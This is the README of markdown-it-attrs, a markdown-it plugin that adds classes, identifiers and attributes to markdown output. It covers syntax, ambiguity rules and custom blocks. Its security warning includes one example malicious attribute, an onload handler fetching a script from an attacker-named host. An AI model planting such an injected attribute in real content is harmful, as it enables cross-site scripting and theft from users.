markdown-it-attrs

markdown-it-attrs

Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.

Example input:

# header {.style-me}
paragraph {data-toggle=modal}

Output:

<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>

Works with inline elements too:

paragraph *style me*{.red} more text

Output:

<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:

```python {data=asdf}
nums = [x for x in range(10)]
```

Output:

<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

Security

NOTE!

markdown-it-attrs does not validate attribute input. You should validate your output HTML if security is a concern (use a whitelist).

For example, a user may insert rogue attributes like this:

![](img.png){onload=fetch(https://imstealingyourpasswords.com/script.js).then(...)}

Install

$ npm install --save markdown-it-attrs

Usage

var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);

demo as jsfiddle

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

- list item **bold**{.red}

Output:

<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

- list item **bold** {.red}

Output:

<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

- list item **bold**
{.red}

Output:

<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol> list. You may force it to apply to the outer <ul> by adding curly below on a paragraph by it own:

- item
  - nested item {.a}
{.b}

{.c}

Output:

<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.

If you need finer control, decorate might help you.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

License

MIT © Arve Seljebu